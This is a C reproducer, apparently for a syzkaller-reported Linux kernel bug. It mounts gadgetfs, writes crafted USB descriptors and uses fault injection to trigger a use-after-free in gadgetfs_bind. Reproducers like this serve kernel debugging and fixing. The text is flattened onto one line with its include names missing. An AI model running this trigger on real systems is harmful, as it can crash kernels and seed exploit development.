// https://syzkaller.appspot.com/bug?id=1f4260e2dfff334268782ce758bf7ebdceae38b8 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include void write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, val, strlen(val)); close(fd); } } int main() { if (mkdir("/tmp/gadget", 0777) < 0 && errno != EEXIST) { printf("[-] Failed to create /tmp/gadget: %s\n", strerror(errno)); return 1; } if (mount("gadgetfs", "/tmp/gadget", "gadgetfs", 0, NULL) < 0) { printf("[-] Failed to mount gadgetfs: %s\n", strerror(errno)); return 1; } printf("[+] gadgetfs mounted successfully.\n"); DIR *dir = opendir("/tmp/gadget"); if (!dir) { printf("[-] Failed to open /tmp/gadget: %s\n", strerror(errno)); return 1; } struct dirent *ent; char udc_name[256] = {0}; while ((ent = readdir(dir)) != NULL) { if (strcmp(ent->d_name, ".") != 0 && strcmp(ent->d_name, "..") != 0) { strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1); break; } } closedir(dir); if (strlen(udc_name) == 0) { printf("[-] No UDC found in gadgetfs\n"); return 1; } printf("[+] Found UDC: %s\n", udc_name); char udc_path[512]; snprintf(udc_path, sizeof(udc_path), "/tmp/gadget/%s", udc_name); char buf[31] = {0}; // tag (4 bytes) buf[0] = 0; buf[1] = 0; buf[2] = 0; buf[3] = 0; // config descriptor (9 bytes) buf[4] = 9; // bLength buf[5] = 2; // bDescriptorType = USB_DT_CONFIG buf[6] = 9; // wTotalLength (LSB) buf[7] = 0; // wTotalLength (MSB) buf[8] = 1; // bNumInterfaces buf[9] = 1; // bConfigurationValue buf[10] = 0; // iConfiguration buf[11] = 0x80; // bmAttributes (USB_CONFIG_ATT_ONE) buf[12] = 50; // bMaxPower // device descriptor (18 bytes) buf[13] = 18; // bLength buf[14] = 1; // bDescriptorType = USB_DT_DEVICE buf[15] = 0x00; // bcdUSB (LSB) buf[16] = 0x02; // bcdUSB (MSB) buf[17] = 0; // bDeviceClass buf[18] = 0; // bDeviceSubClass buf[19] = 0; // bDeviceProtocol buf[20] = 64; // bMaxPacketSize0 buf[21] = 0x34; // idVendor (LSB) buf[22] = 0x12; // idVendor (MSB) buf[23] = 0x78; // idProduct (LSB) buf[24] = 0x56; // idProduct (MSB) buf[25] = 0x00; // bcdDevice (LSB) buf[26] = 0x01; // bcdDevice (MSB) buf[27] = 0; // iManufacturer buf[28] = 0; // iProduct buf[29] = 0; // iSerialNumber buf[30] = 1; // bNumConfigurations // Setup failslab in case fail-nth is not available write_file("/sys/kernel/debug/failslab/task-filter", "1\n"); write_file("/sys/kernel/debug/failslab/times", "-1\n"); write_file("/sys/kernel/debug/failslab/ignore-gfp-wait", "0\n"); for (int i = 1; i < 200; i++) { int fd = open(udc_path, O_RDWR); if (fd < 0) { continue; } int fail_nth_fd = open("/proc/self/fail-nth", O_RDWR); if (fail_nth_fd >= 0) { char val[32]; snprintf(val, sizeof(val), "%d", i); write(fail_nth_fd, val, strlen(val)); close(fail_nth_fd); } else { write_file("/sys/kernel/debug/failslab/probability", "10\n"); write_file("/proc/self/make-it-fail", "1"); } // This write triggers gadgetfs_bind write(fd, buf, sizeof(buf)); if (fail_nth_fd >= 0) { write_file("/proc/self/fail-nth", "0"); } else { write_file("/sys/kernel/debug/failslab/probability", "0\n"); write_file("/proc/self/make-it-fail", "0"); } close(fd); // Trigger UAF int fd2 = open(udc_path, O_RDWR); if (fd2 >= 0) { close(fd2); } } printf("[+] Done.\n"); return 0; }